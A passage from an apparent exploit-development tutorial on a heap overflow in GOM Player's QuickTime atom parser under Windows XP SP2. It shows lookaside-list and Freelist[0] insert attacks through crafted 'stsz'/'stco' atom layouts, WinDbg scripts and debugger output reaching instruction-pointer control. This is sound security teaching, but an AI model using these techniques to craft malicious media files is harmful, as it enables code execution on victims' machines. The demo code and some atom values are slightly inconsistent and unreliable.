into it’s own heap chunk, we can manipulate the file structure in order to
control, at least to some extent, the heap layout**.** However, during my
testing I was unable to create a heap layout which allowed me to overwrite the
pointer located at \[ecx+0x10\] without corrupting other heap blocks in the
process**.** Because of this, the method of tainting the pointer located at
\[edi+0x28\] was chosen**.**

Next, out of the 20 or so function pointers that were called between the time
our heap corruption occurred and an access violation was triggered, only one
was chosen**.** Why did I choose the pointer that I did? Well, if you recall,
we manipulated the write instruction to overwrite our target function pointer
and then continue writing beyond it in order to place our shellcode**.** If
you were to look at most of these regions which contain writable function
pointers, you may notice that several function pointers are stored adjacent to
one another**.** That means that if we were to overwrite a function pointer
and continue writing beyond it, we could inadvertently overwrite an adjacent
function pointer**.** Doing so may make it difficult to reliably control the
flow of execution as other, “accidentally” overwritten function pointers may
get called prior to our intended target**.** However, this also opens up new
possibilities. In the paragraph above, I mentioned that the goal would be to
overwrite a function pointer that would provide us with a register where we
could use a ROP gadget in order to pivot back to our shellcode**.** Well,
using this type of attack, we now know that we don’t need to be precise in
overwriting a specific function pointer**.** We could find pointers that would
satisfy our 2 conditions described above in order to land in the general
region of our chosen function pointer**.** Then, we could continue writing
until the function pointer is overwritten**.** Again, this method is a bit
more difficult, a bit less reliable, and a bit more confusing than I wanted to
document for the purpose of this article**.**

And finally, I’d just like to reiterate the fact that targeting these types of
heap corruption issues in applications which don’t provide us with some method
of spraying the heap can be extremely difficult to exploit**.** In this case,
we were incredibly lucky in the fact that the heap state was very
deterministic**.** I have seen far more times than I’d like to count where the
type and number of allocations varied greatly between application runs**.**
This makes determining locations and offsets within the heap nearly impossible
without having a great deal of control over further allocations and frees
against our targeted heap**.**

### Generic Exploitation Methods****

In this section, I’d like to briefly discuss 3 popular methods for
circumventing the security protections implemented into the XP SP2 heap
manager, how they apply to our application specific overflow, and why I chose
not to use these methods for exploitation**.** I will not be going into great
depth with these methods, therefore some details may be omitted for
brevity**.** Functional use of these exploitation methods will be left up to
you to complete**.**

#### Lookaside List Overwrite****

##### Overview****

As we had discussed earlier, the advent of XP SP2 saw the addition of safe-
unlinking**.** This check would ensure that a chunk residing on the Freelist
would have it’s Flink and Blink pointers validated prior to unlinking**.** If
this check failed, the chunk would be reported as corrupt and discarded**.**
Therefore, successfully preventing you from performing an arbitrary 4-byte
write**.**

What Microsoft didn’t consider at the time was that the Lookaside Lists, which
are organized into singly-linked lists, could also be abused during the unlink
process in order to gain the ability to perform arbitrary writes**.** And, as
this is a singly-linked list, the safe-unlink check does not apply**.**

This technique was first described in October of 2004 by Alexander
Anisimov**.** A link to his paper can be found here **.**

To better explain, let’s take a look at the following code:

> Quick note – In order to properly debug this, you’ll need to patch debugging
> functions using the following command:
> ****\!** py mona hidedebug**
[code]

    #include <stdio**.** h>
    #include <windows**.** h>
    
    int main( void )
    {
        void *a,*b,*c,*d;
        void *hHeap;
    
        hHeap = HeapCreate(0x00040000,0,0);
        printf ("hHeap == 0x%p\n", hHeap);
    
        a = HeapAlloc(hHeap,0x00000008,8);
        b = HeapAlloc(hHeap,0x00000008,8);
        c = HeapAlloc(hHeap,0x00000008,8);
        printf ("Allocated:\n  a == 0x%p\n  b == 0x%p\n  c == 0x%p\n", a, b, c);
    
        HeapFree(hHeap, 0, b);
    
        char str1[] = { 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x02, 0x00, 0x02, 0x00, 0x7e, 0x01, 0x08, 0x00, 0x42, 0x42, 0x42, 0x42 };
    
        // memcpy writes beyond the bounds of "a" into the heap header of "b"
        memcpy ( a, str1, sizeof(str1));
    
        // Pop valid chunk from the list
        d = HeapAlloc(hHeap,0x00000008,8);
    
        // Return arbitrary pointer
        e = HeapAlloc(hHeap,0x00000008,8);
    
        printf ("Allocated:\n  d == 0x%p\n  e == 0x%p\n", d, e);
    }
[/code]

In this example, we begin by creating a new heap and allocating 2 chunks from
it, \(“a” and “b”\) with a size of 0×8 bytes**.** Next, “b” will be freed back
to the heap**.** As this chunk is less than 1024 bytes, it will be freed to
LAL\[2\] \(since it has a user size of 0×8 bytes\)**.** This will leave our
LAL structure as follows:

[code]

    LAL [2] @0x005406e8, Expected Chunksize 0x10 (16), Flink : 0x00541ea0
         ChunkPtr: 0x00541e98, UserPtr: 0x00541ea0, Flink: 0x00000000, ChunkSize: 0x10, UserSize: 0x8, Userspace: 0x8 (Busy)
[/code]

Please note that the Flink of our LAL list head points to our first chunk
located at 0x00541EB0 and that the Flink of our chunk, as it is the last and
only one, is currently set to 0×00000000**.**

Next, our code issues a call to memcpy in order to copy a string of hex values
from str1 to allocation “b”**.**

A quick note on the data being copied here**.** The first 8 bytes contain only
0×41. This is used to fill our allocated buffer size**.** The remaining 12
bytes will then be used to overflow the bounds of our allocated buffer and
overwrite our LAL chunk header**.** The last 4 bytes, 0×42424242, are the most
important as they will be used to overwrite the Flink of our freed chunk
\(“b”\)**.**

After our call to memcpy, our LAL structure will look as follows:

[code]

    LAL [2] @0x005406e8, Expected Chunksize 0x10 (16), Flink : 0x00541ea0
         ChunkPtr: 0x00541e98, UserPtr: 0x00541ea0, Flink: 0x42424242, ChunkSize: 0x10, UserSize: 0x8, Userspace: 0x8 (Busy) 
         ChunkPtr: 0x4242423a, UserPtr: 0x42424242, Flink: 0x00000000, ChunkSize: 0x0, UserSize: 0x0, Userspace: 0x8 (Free) 
                   ^^ ** Warning - unexpected size value, header corrupted **?** **
[/code]

Excellent\! Here we can see that we’ve successfully overwritten the Flink of
our LAL entry with the value 0×42424242**.** Looking ahead in our code, we can
see that we have another allocation request of 0×08 bytes \(“c”\)**.** This
request will return the LAL chunk located at 0x00541EB0 \(UserPtr\)**.** The
result of which, will leave our LAL structure looking as follows:

[code]

    LAL [2] @0x005406e8, Expected Chunksize 0x10 (16), Flink : 0x42424242
         ChunkPtr: 0x4242423a, UserPtr: 0x42424242, Flink: 0x00000000, ChunkSize: 0x0, UserSize: 0x0, Userspace: 0x-8 (Free) 
                   ^^ ** Warning - unexpected size value, header corrupted **?** **
[/code]

And with this we can see that our next available chunk is located at
0×42424242**.** Clearly, a valid heap chunk does not exist at this
location**.** However, as long as 0×42424242 is a readable \(and preferably
writable\) address, which it currently is not, our final call to HeapAlloc
will return a pointer to 0×42424242**.** This means that if we can control the
data being written during our final allocation, we can perform an arbitrary
write of up to 0×8 bytes \(as this is the maximum size of our LAL
entry\)\*\*\* **.**

> Targeting other Lookaside Lists will likely provide you with the ability to
> overwrite a significantly greater amount of data**.** For example,
> LAL\[127\] may allow you to write up to 1016 bytes**\!**
##### Application Specific Technique****

The first hurdle that we must overcome when applying this type of attack is to
determine if we can in fact overwrite the Flink of a Lookaside List entry**.**
To do so, let’s set a breakpoint at the start of our function and using **\!**
mona, determine what free chunks are available to us:

[code]

    [+] FreeList[00] at 0x03200178, Expected size: >1016 (>0x3f8)
         ChunkPtr: 0x03207148, Header: 0x8 bytes, UserPtr: 0x03207150, Flink: 0x03208108, Blink: 0x03200178, ChunkSize: 0x6b0 (1712), Usersize: 0x6b0 (1712) 
         ChunkPtr: 0x03208100, Header: 0x8 bytes, UserPtr: 0x03208108, Flink: 0x03205e08, Blink: 0x03207150, ChunkSize: 0xf00 (3840), Usersize: 0xf00 (3840) 
         ChunkPtr: 0x03205e00, Header: 0x8 bytes, UserPtr: 0x03205e08, Flink: 0x03200178, Blink: 0x03208108, ChunkSize: 0x10d8 (4312), Usersize: 0x10cc (4300) 
    
    LAL [15] @0x03200958, Expected Chunksize 0x78 (120), Flink : 0x03202400
         ChunkPtr: 0x032023f8, UserPtr: 0x03202400, Flink: 0x00000000, ChunkSize: 0x78, UserSize: 0x6c, Userspace: 0x70 (Busy) 
    **LAL [9] @0x03200838, Expected Chunksize 0x48 (72), Flink : 0x03205ab8
         ChunkPtr: 0x03205ab0, UserPtr: 0x03205ab8, Flink: 0x00000000, ChunkSize: 0x48, UserSize: 0x39, Userspace: 0x40 (Busy)**
    LAL [11] @0x03200898, Expected Chunksize 0x58 (88), Flink : 0x03207048
         ChunkPtr: 0x03207040, UserPtr: 0x03207048, Flink: 0x00000000, ChunkSize: 0x58, UserSize: 0x4c, Userspace: 0x50 (Busy) 
    **LAL [5] @0x03200778, Expected Chunksize 0x28 (40), Flink : 0x03205a08
         ChunkPtr: 0x03205a00, UserPtr: 0x03205a08, Flink: 0x00000000, ChunkSize: 0x28, UserSize: 0x1c, Userspace: 0x20 (Busy)**
    LAL [13] @0x032008f8, Expected Chunksize 0x68 (104), Flink : 0x03205788
         ChunkPtr: 0x03205780, UserPtr: 0x03205788, Flink: 0x00000000, ChunkSize: 0x68, UserSize: 0x5c, Userspace: 0x60 (Busy)
[/code]

Good**.** Here we can see that LAL\[5\] and LAL\[9\] are \(nearly\)\* adjacent
to each other**.** If we can trigger our writes to occur within LAL\[15\],
after writing 0xB4 bytes we can successfully overwrite the Flink of
LAL\[9\]**.**

> Two small allocated heap chunks exist between LAL\[5\] and \[9\]**.** This
> information can be found by using the following command:
> ****\!** py mon heap –h 03200000 –t all**
To do so, we’ll need to set our “Number of Entries” to 0×80000008**.** This
will trigger an allocation size of 0×20 \(0×8 \* 4\) bytes, leaving 8 bytes
for the addition of the LAL header and ensuring that our allocation uses the
pointer specified by LAL\[5\]**.** Next, to ensure that we write enough data
to overwrite the Flink of LAL\[9\], we’ll need to set the size element of our
“stsz” atom to 0xC8 and pad the atom to meet this value**.** This will cause
our vulnerable function to write the contents of our “sample size table”,
which is 0xA8 bytes to be exact**.**

Furthermore, for demonstration purposes I’ve also gone ahead and replaced the
contents of the “Sample Size Table” with the repeating value “0×41,” and
specifically changed the last 4 bytes to 0×78787878 \(“xxxx”\)**.** These
final 4 bytes will be used to overwrite the Flink of LAL\[9\]**.** This will
leave our sample with the following structure:

[code]

    **Size:  0x000000C8 (Triggers a write of 0xA8 bytes)**
    Type:  0x7374737A (ASCII stsz) 
    Version:  0x00 
    Flags:  0x000000 
    Sample Size: 0x00000000
    **Number of Entries: 0x80000001C (Triggers an allocation of 0x70 bytes)**
    Sample Size Table(1):  0x41414141 ("AAAA")
    Sample Size Table(2):  0x41414141 ("AAAA")
    ..**.**
    Final 4 Bytes: 0x78787878 ("xxxx")
[/code]

> If you’re having difficulty understanding the changes that we’re making
> within the file format, don’t worry**.** I’ve included a full proof of
> concept at the end of this section which implements the structure discussed
> here**.**
Saving these changes and observing in our debugger, we can see that our writes
are in fact occurring in the correct chunk:

[code]

    LAL [5] @0x03200778, Expected Chunksize 0x28 (40), **Flink : 0x03205a08,** ChunkPtr: 0x03205a00, UserPtr: 0x03205a08, Flink: 0x00000000, ChunkSize: 0x28, UserSize: 0x1c, Userspace: 0x20 (Busy)
    
    eax=00000000 ebx=000000b4 ecx=03205a08 edx=41414141 esi=03207164 edi=03207100
    eip=03b34989 esp=0012bdb4 ebp=03207150 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
    GSFU**!** DllUnregisterServer+0x236a9:
    **03b34989 891481          mov     dword ptr [ecx+eax*4],edx ds:0023:03205a08=00000000**
[/code]

And if we were to set a write access breakpoint on the UserPtr of LAL\[5\], we
can see that the Flink is overwritten with our chosen value of 0×78787878
\(“xxxx”\)**.**

[code]

    eax=0000002c ebx=00000004 ecx=03205a08 **edx=78787878** esi=03207214 edi=03207100
    eip=03b34989 esp=0012bdb4 ebp=03207150 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
    GSFU**!** DllUnregisterServer+0x236a9:
    **03b34989 891481          mov     dword ptr [ecx+eax*4],edx ds:0023:03205ab8=00000000**
    
    LAL [9] @0x03200838, Expected Chunksize 0x48 (72), Flink : 0x03205ab8
      2 chunks:
         ChunkPtr: 0x03205ab0, UserPtr: 0x03205ab8, **Flink: 0x78787878** , ChunkSize: 0x20a08, UserSize: 0x209c7, Userspace: 0x20a00 (FFU-2,Busy) 
                   ^^ ** Warning - unexpected size value, header corrupted **?** **
         ChunkPtr: 0x78787870, UserPtr: 0x78787878, Flink: 0x00000000, ChunkSize: 0x0, UserSize: 0x0, Userspace: 0x-8 (Free) 
                   ^^ ** Warning - unexpected size value, header corrupted **?** **
[/code]

Excellent. So now that we’ve overwritten the Flink of a Lookaside List entry,
we’ll next need to trigger two allocations of that particular size**.** In
this case, we’ll need to control two allocations of 0×40 bytes \(and 0×8 bytes
are used for the LAL entry header, bringing the total consumed space for each
allocation to 0×48\)**.** The first allocation will return the pointer,
0x03205AB8 as specified by the first LAL entry header**.** The second
allocation will return a pointer to whatever value we’ve specified as our
Flink \(as long as this value points to a location that is both readable and
writable\)**.**

Now to help us determine which allocations we can control, we’ll set the
following 2 breakpoints which will output the size and locations of both
allocations and frees which belong to the private heap located at
0×03200000**.** Please note that we need to apply these breakpoints after the
Flink of our targeted LAL entry has been overwritten**.**

[code]

    bp ntdll!RtlAllocateHeap+0x117 "j (poi(@esp+4)==0x03200000) '.printf \"RtlAllocateHeap hHEAP 0x%p, size=0x%x, chunk at 0x%p\\n\", poi(@esp+4), poi(esp+c), eax; g'; 'g';"
    bp ntdll**!** RtlFreeHeap "j ((poi(esp+4)==0x03200000) & (poi(esp+c)**!** =0)) '.printf \"RtlFreeHeap hHeap (0x%p), size=0x%p\\n\", poi(esp+c), wo(poi(esp+c)-8)*8-8; dc poi(esp+c) LC; .echo; g'; 'g';"
[/code]

With that said, let’s continue execution**.**

[code]

    RtlFreeHeap hHeap (0x03207150), size=0x000000c8
    03207150  c8000000 7a737473 00000000 00000000  ..**.**.stsz........
    03207160  08000080 41414141 41414141 41414141  ..**.**.AAAAAAAAAAAA
    03207170  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
    
    RtlAllocateHeap hHEAP 0x03200000, size=0x48, chunk at 0x03207240
    RtlAllocateHeap hHEAP 0x03200000, size=0x8c, chunk at 0x03207290
    RtlAllocateHeap hHEAP 0x03200000, size=0x10, chunk at 0x03207328
    RtlAllocateHeap hHEAP 0x03200000, size=0xf8, chunk at 0x03207340
    RtlFreeHeap hHeap (0x03207290), size=0x00000090
    03207290  8c000000 6f637473 00000000 1f000000  ..**.**.stco........
    032072a0  d0140000 85a90000 014f0100 a9f30100  ..........O....**.**
    032072b0  cd980200 0d3f0300 c1e40300 958a0400  ......**?**........**.**
[/code]

Interesting. Here we can see that shortly after our overwrite, the “stsz” atom
is freed**.** What’s more interesting however is that after a series of
allocations, the “stco” atom, the next atom in our file, is also freed**.**
Looking at either the sizes or contents of these allocations, we can see that
two in particular are of interest to us**.** The first allocation located at
0×03207290 with a size of 0x8C contains the entire “stco” atom**.** As 0x8C is
the same number specified as the “size” element for the “stco” atom, we can
assume \(correctly\) that by modifying this value, we can control the size of
the allocation**.**

The next atom of interest is allocated to 0×03207340 with a size of 0xF8**.**
If we were to follow this function or look at the contents of the allocated
block just prior to our free, we can see that it contains a somewhat mutated
version of the “Chunk Offset Table”; a sub-table of the “stco” atom**.** The
specifics of which can be found in the QuickTime File Format Specification
found here **.**

Now without going into the all the details, the “Number of Entries” element
within the “stco” atom is passed to a copy of our buggy \_calloc function
where it is multiplied by 0×8**.** This in turn, triggers an allocation of
0xF8 bytes**.** So knowing this, by manipulating the “Number of Entries”
element, we can control the size of this allocation**.**

So, with this information it appears that we have enough control over our
allocations to return an arbitrary pointer to an allocation request that we
can control**.** However, in order to do so, we’ll first need to modify the
size of the “stco” atom so that it matches our corrupted Lookaside List
entry**.** This means that we’ll need to set the “size” element to 0×40 bytes
\(again, subtracting 0×8 bytes from 0×48 to account for the LAL entry
header\)**.** Next, we’ll need to trim the contents of this atom to match**.**
And finally, as our “Number of Entries” element is used to control the size of
the allocation request that will eventually hold the “Chunk Offset Table”,
we’ll need to change this element to 0×8 \(0×8\*0×8==0×40\)**.** And finally,
let’s change the first 4 bytes of our “Chunk Offset Table” to 0×79797979
\(“yyyy”\) and all following bytes to repeating 0×42 \(“B”\)**.** This will be
the data that we write to our arbitrary location**.**

With that, our “stco” atom will have the following structure:

[code]

    **Size:  0x00000040 (Triggers an allocation of 0x40 bytes)**
    Type:  0x7374636F (ASCII stco) 
    Version:  0x00 
    Flags:  0x000000 
    **Number of Entries: 0x000000008 (Triggers an allocation of 0x40 bytes)**
    Chunk Offset Table(1):  0x79797979 ("yyyy")
    Chunk Offset Table(1):  0x42424242 ("BBBB")
    ..**.**
[/code]

Before we test our sample file, we’ll also need to replace the string, “xxxx”
within the “stsz” atom to point to a valid, writable location**.** This is
because when ntdll\!RtlAllocateHeap attempts to retrieve the chunk pointed to
by LAL\[9\], the address must be both readable and writable, otherwise the
free chunk in question will be discarded.This could be a writable function
pointer similar to the one we discussed in the previous section**.** For the
sake of this discussion, I’ve chosen a function pointer called by ntdll.dll
located 0x7C97F32C**.**

Now to demonstrate this attack, I’ve provided a proof of concept  which
applies the structure discussed above**.** Please note, this sample will only
demonstrate control over the instruction pointer and will NOT execute
arbitrary code**.** I leave this task to you to complete.

> Please note that this proof of concept may not work reliably**\!** For
> reasons why, please see the “Why Not?” section below**.**
And with that, let’s go ahead and monitor how the application handles our
proof of concept within a debugger**.** First, let’s set a break point on our
write instruction**.** Once this has been triggered, we’ll go ahead and set a
breakpoint on all allocation requests destined for the private heap located at
0×03200000**.** This time, instead of automatically continuing execution,
we’re going to step through each allocation**.**

[code]

    0:000> bp ntdll!RtlAllocateHeap+0x117 "j (poi(@esp+4)==0x03200000) '.printf \"RtlAllocateHeap hHEAP 0x%p, size=0x%x, chunk at 0x%p\\n\", poi(@esp+4), poi(esp+c), eax'; 'g';"
    RtlAllocateHeap hHEAP 0x03200000, size=0x48, chunk at 0x03207240
    
    LAL [9] @0x03200838, Expected Chunksize 0x48 (72), Flink : 0x03205ab8
      4 chunks:
    **ChunkPtr: 0x03205ab0, UserPtr: 0x03205ab8, Flink: 0x7c97f32c, ChunkSize: 0x20a08, UserSize: 0x209c7, Userspace: 0x20a00 (FFU-2,Busy)**
                   ^^ ** Warning - unexpected size value, header corrupted **?** **
         ChunkPtr: 0x7c97f324, UserPtr: 0x7c97f32c, Flink: 0x7c811788, ChunkSize: 0x3fc0, UserSize: 0x3fc0, Userspace: 0x3fb8 (Free) 
                   ^^ ** Warning - unexpected size value, header corrupted **?** **
         ChunkPtr: 0x7c811780, UserPtr: 0x7c811788, Flink: 0x8b55ff8b, ChunkSize: 0x0, UserSize: 0x-90, Userspace: 0x-8 (No Coalesce,Last) 
                   ^^ ** Warning - unexpected size value, header corrupted **?** **
         ChunkPtr: 0x8b55ff83, UserPtr: 0x8b55ff8b, Flink: 0x00000000, ChunkSize: 0x0, UserSize: 0x0, Userspace: 0x-8 (Free) 
                   ^^ ** Warning - unexpected size value, header corrupted **?** **
    
    **RtlAllocateHeap hHEAP 0x03200000, size=0x40, chunk at 0x03205ab8**
[/code]

Good**.** Here we can see that our “stco” heap chunk is allocated using the
top entry of LAL\[9\]**.** This will cause this entry to be popped from the
list and returned to the application**.** If we were to continue stepping
through the application, we would see that the top entry of our LAL now points
to the function pointer we’ve defined in our file**.**

[code]

    RtlAllocateHeap hHEAP 0x03200000, size=0x10, chunk at 0x03207290
    
    LAL [9] @0x03200838, Expected Chunksize 0x48 (72), Flink : 0x7c97f32c
      3 chunks:
         **ChunkPtr: 0x7c97f324, UserPtr: 0x7c97f32c, Flink: 0x7c811788, ChunkSize: 0x3fc0, UserSize: 0x3fc0, Userspace: 0x3fb8 (Free)** 
                   ^^ ** Warning - unexpected size value, header corrupted **?** **
         ChunkPtr: 0x7c811780, UserPtr: 0x7c811788, Flink: 0x8b55ff8b, ChunkSize: 0x0, UserSize: 0x-90, Userspace: 0x-8 (No Coalesce,Last) 
                   ^^ ** Warning - unexpected size value, header corrupted **?** **
         ChunkPtr: 0x8b55ff83, UserPtr: 0x8b55ff8b, Flink: 0x00000000, ChunkSize: 0x0, UserSize: 0x0, Userspace: 0x-8 (Free) 
                   ^^ ** Warning - unexpected size value, header corrupted **?** **
    
    **RtlAllocateHeap hHEAP 0x03200000, size=0x40, chunk at 0x7c97f32c**
[/code]

Excellent**.** And with our allocation request for the “chunk offset table”,
we can see that our arbitrary pointer \(0x7C97F32C\) has been returned to the
application**.** Clearing all break points and continuing execution we can see
that we’ve now gained control over the instruction pointer**.**

[code]

    0:000> bc *
    0:000> g
    ModLoad: 75f40000 75f51000   C:\WINDOWS\system32\devenum.dll
    (890**.** 89c): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling**.**
    This exception may be expected and handled**.**
    eax=00255178 ebx=7ffdb000 ecx=00255208 edx=00251e90 esi=002551c0 edi=75f40000
    eip=79797979 esp=0012c028 ebp=0012c09c iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
    **79797979**?****?**              ??**?****
[/code]

##### Why Not?

There are several issues with applying this attack to our GOM specific
vulnerability which may cause exploitation to be unreliable and difficult**.**
First of all, I noticed a number of discrepancies in regards to the heap state
when attempting to allocate chunks from the LAL with the “stsz” atom**.** At
times, the offset of these chunks would vary, therefore causing the initial
overwrite of the LAL entry’s Flink, to fail**.** During testing, I was unable
to identify a method for making the state of LAL entries within this heap
deterministic enough to be considered reliable**.** If the proof of concept
provided above fails, you will need to modify the allocation requests in order
to match the appropriate LAL entries**.**

Furthermore, as this exploitation technique specifically targets the Lookaside
List structure which does not exist in later versions of Windows, the
arbitrary write technique described above is preferred over this method**.**

#### Brett Moore: Wrecking Freelist\[0\] Since 2005****

After the release of Service Pack 2 and the introduction of heap cookies and
safe-unlinking, researchers were quickly looking for new methods to replace
their now defunct heap exploitation techniques**.** Although several new
tactics were identified by a number of researchers, in my opinion no one has
contributed as much to the exploitation and understanding of the XP > SP2 Heap
Manager than Brett Moore**.** In 2005, shortly after the release of SP2, Brett
Moore released details regarding 2 attacks, the Freelist\[0\] Relinking and
Searching attacks **.** Then in 2008, he followed up on his previous work with
the addition of the Freelist\[0\] Insert attack as well as a number of other
possible techniques in his 2008 presentation, Heaps about Heaps **.**

#### Freelist\[0\] Insert Attack****

##### Overview****

The Freelist Insert, or Linking attack, was first described by Brett Moore in
his 2008 presentation, Heaps about Heaps **.** It is in my opinion one of the
easiest generic exploitation techniques to perform which targets the dedicated
Freelist**.** It works by overwriting the Blink pointer of a Freelist
entry**.** A free chunk is then inserted prior to \(i.e. smaller than\) the
corrupted chunk. During the linking process, the heap manager will follow the
value specified by our corrupted Blink pointer and then write a pointer to the
newly inserted chunk at the address specified by corrupted Blink pointer**.**
Successful exploitation of this attack relies on the ability to overwrite the
Blink pointer and control the Freeing of at least one chunk after corrupting a
chunk in Freelist\[0\]**.** To better explain this concept, let’s take a look
at the Freelist structure below:

[code]

    [+] FreeList[00] at 0x00160178, Expected size: >1016 (>0x3f8), Flink: 0x00165000
         ChunkPtr: 0x00164FF8, Header: 0x8 bytes, UserPtr: 0x00165000, Flink: 0x00166000, Blink: 0x00160178, ChunkSize: 0x500 (1280), Usersize: 0x500 (1280) 
         ChunkPtr: 0x00165FF8, Header: 0x8 bytes, UserPtr: 0x00166000, Flink: 0x00167000, Blink: 0x00165000, ChunkSize: 0x600 (1536), Usersize: 0x600 (1536) 
         ChunkPtr: 0x00166FF8, Header: 0x8 bytes, UserPtr: 0x00167000, Flink: 0x00160178, Blink: 0x00166000, ChunkSize: 0x700 (1792), Usersize: 0x700 (1792)
[/code]

Here we can see that Freelist\[0\] has been populated with 3 chunks with sizes
of 0×500, 0×600, and 0×700 respectively**.** It’s important to note here that
the heap manager will always traverse the chunks in Freelist\[0\], during an
allocation request, from smallest to largest**.** Now, imagine that we were to
trigger an overflow into our first chunk at Freelist\[0\]**.** For the sake of
simplicity, the overflow will maintain the same size values as that of the
valid chunk metadata however, the Flink and Blink will have been changed to
0×41414141 and 0×42424242 respectively**.** This would leave our heap
structure looking as follows:

[code]

    [+] FreeList[00] at 0x00160178, Expected size: >1016 (>0x3f8), Flink: 0x00165000
         ChunkPtr: 0x00164FF8, Header: 0x8 bytes, UserPtr: 0x00165000, **Flink: 0x41414141, Blink: 0x42424242** , ChunkSize: 0x500 (1280), Usersize: 0x500 (1280) 
         ChunkPtr: 0x00165FF8, Header: 0x8 bytes, UserPtr: 0x00166000, Flink: 0x00167000, Blink: 0x00165000, ChunkSize: 0x600 (1536), Usersize: 0x600 (1536) 
         ChunkPtr: 0x00166FF8, Header: 0x8 bytes, UserPtr: 0x00167000, Flink: 0x00160178, Blink: 0x00166000, ChunkSize: 0x700 (1792), Usersize: 0x700 (1792)
[/code]

For the sake of argument, let’s assume that both the Flink and Blink point to
addresses with PAGE\_READWRITE access \(although this is not entirely
necessary for the Flink\)**.** Now, let’s imagine that the application queries
the heap manager and wishes to free a chunk of 0×400 \(1024\) bytes located at
0×00164000**.** First, 0×400 bytes is just large enough to guarantee that
it’ll be freed to Freelist\[0\]**.** Second, as 0×400 is of course smaller
than our smallest chunk in the list, 0×500, it’ll be inserted at the top of
the list**.**

Now since our Blink is overwritten with the value 0×42424242, the insert
function will be tricked into thinking that another chunk exists prior to \(in
the Freelists\) our chunk at 0×001650000**.** Because of this, when it inserts
itself into the list, it will update the Flink pointer of our non-existent
chunk \(0×42424242\) in order to maintain the doubly linked list**.** Also, as
part of the valid routine, it will update the Blink of the corrupted chunk to
point to the newly inserted chunk**.**

Looking below, we can see the actual function responsible for writing the
UserPtr of our inserted chunk to our arbitrary location \(0×42424242\)**.**

[code]

    eax=00164000 ebx=00160178 ecx=00165000 edx=42424242 esi=00163FF8 edi=00160000
    eip=7c9108f0 esp=0012bcb0 ebp=0012bd6c iopl=0         nv up ei ng nz ac po cy
    ntdll**!** RtlFreeHeap+0x40e
    **7c9108ee 8908            mov     dword ptr [eax],ecx  ds:0023:00164000=00050000 ; Write UserPtr of corrupted chunk to new chunk's Flink**
    eax=00164000 ebx=00160178 ecx=00165000 edx=42424242 esi=00163FF8 edi=00160000
    eip=7c9108f0 esp=0012bcb0 ebp=0012bd6c iopl=0         nv up ei ng nz ac po cy
    ntdll**!** RtlFreeHeap+0x410:
    **7c9108f0 895004          mov     dword ptr [eax+4],edx ds:0023:00164004=f00dbaad ; Write corrupted Blink to new chunk's Blink**
    eax=00164000 ebx=00160178 ecx=00165000 edx=42424242 esi=00163FF8 edi=00160000
    eip=7c9108f3 esp=0012bcb0 ebp=0012bd6c iopl=0         nv up ei ng nz ac po cy
    ntdll**!** RtlFreeHeap+0x413:
    **7c9108f3 8902            mov     dword ptr [edx],eax  ds:0023:42424242=baadf00d	; Write UserPtr of new chunk to arbitrary address (corrupted blink)**
    eax=00164000 ebx=00160178 ecx=00165000 edx=42424242 esi=00163FF8 edi=00160000
    eip=7c9108f0 esp=0012bcb0 ebp=0012bd6c iopl=0         nv up ei ng nz ac po cy
    ntdll**!** RtlFreeHeap+0x415:
    **7c9108f5 894104          mov     dword ptr [ecx+4],eax ds:0023:03208514=006a0db0 ; Update corrupted chunk's Blink with new chunk's UserPtr**
    eax=00164000 ebx=00160178 ecx=00165000 edx=42424242 esi=00163FF8 edi=00160000
    eip=7c9108f8 esp=0012bcb0 ebp=0012bd6c iopl=0         nv up ei ng nz ac po cy
[/code]

Now you might be thinking what good is this**?** We have the ability to
overwrite an arbitrary location but only with the UserPtr of our inserted
chunk**.** Well if we can control the contents of our newly inserted free
chunk we may be able gain control over the flow of execution by overwriting a
function pointer**.** In this scenario, the UserPtr of our new chunk would be
used to overwrite the function pointer**.** Upon calling the function pointer,
the UserPtr would be followed and all data which resides in the user-
controllable portion of the heap chunk will be executed\*\*\* **.**
Furthermore, this attack could also be used to target pointers located within
a vtable or Lookaside List Head in order to gain control over execution**.**

> It’s important to note that this attack writes the UserPtr of our inserted
> chunk to an arbitrary location**.** As the Flink and Blink both follow the
> UserPtr, in order to overwrite a function pointer, the assembled opcodes of
> these addresses must be executable**.**
> It’s also important to note that since we are writing the UserPtr of a freed
> heap chunk, it will essentially act as a pointer to a pointer \(p2p\)**.**
> This could also be abused in overwrite functions as the Flink will point to
> our corrupted heap chunk, in turn pointing to user-controllable data that
> can be overwritten via our initial heap overflow**.**
##### Application Specific Technique****

With the basics covered, let’s discuss how this tactic might be specifically
applied to our GOM vulnerability, let’s first take a look at the structure of
our Freelists prior to entering our vulnerable function \(GSFU**\!**
DllUnregisterServer+0×23550\). In this example, the vulnerable function is
using the private heap located at 0×03200000**.**

[code]

    [+] FreeList[00] at 0x03200178, Expected size: >1016 (>0x3f8), **Flink: 0x03207150**
         ChunkPtr: 0x03207148, Header: 0x8 bytes, **UserPtr: 0x03207150, Flink: 0x03208108, Blink: 0x03200178** , ChunkSize: 0x6b0 (1712), Usersize: 0x6b0 (1712) 
         ChunkPtr: 0x03208100, Header: 0x8 bytes, UserPtr: 0x03208108, Flink: 0x03205e08, Blink: 0x03207150, ChunkSize: 0xf00 (3840), Usersize: 0xf00 (3840) 
         ChunkPtr: 0x03205e00, Header: 0x8 bytes, UserPtr: 0x03205e08, Flink: 0x03200178, Blink: 0x03208108, ChunkSize: 0x10d8 (4312), Usersize: 0x10cc (4300)
[/code]

Here we can see that Freelist\[0\] has been populated with 3 chunks with the
sizes 0x6B0, 0xF00, and 0x10D8 respectively**.** The next step is determine
what chunks are allocated and freed after entering our vulnerable function and
prior to our targeted write instruction**.** To determine this, let’s set a
breakpoint at the start of our function \(GSFU**\!**
DllUnregisterServer+0×23550\), then once that’s hit, set the following
breakpoints**.**

[code]

    bp ntdll!RtlAllocateHeap+0x117 "j (poi(@esp+4)==0x03200000) '.printf \"RtlAllocateHeap hHEAP 0x%p, size=0x%x, chunk at 0x%p\\n\", poi(@esp+4), poi(esp+c), eax; g'; 'g';"
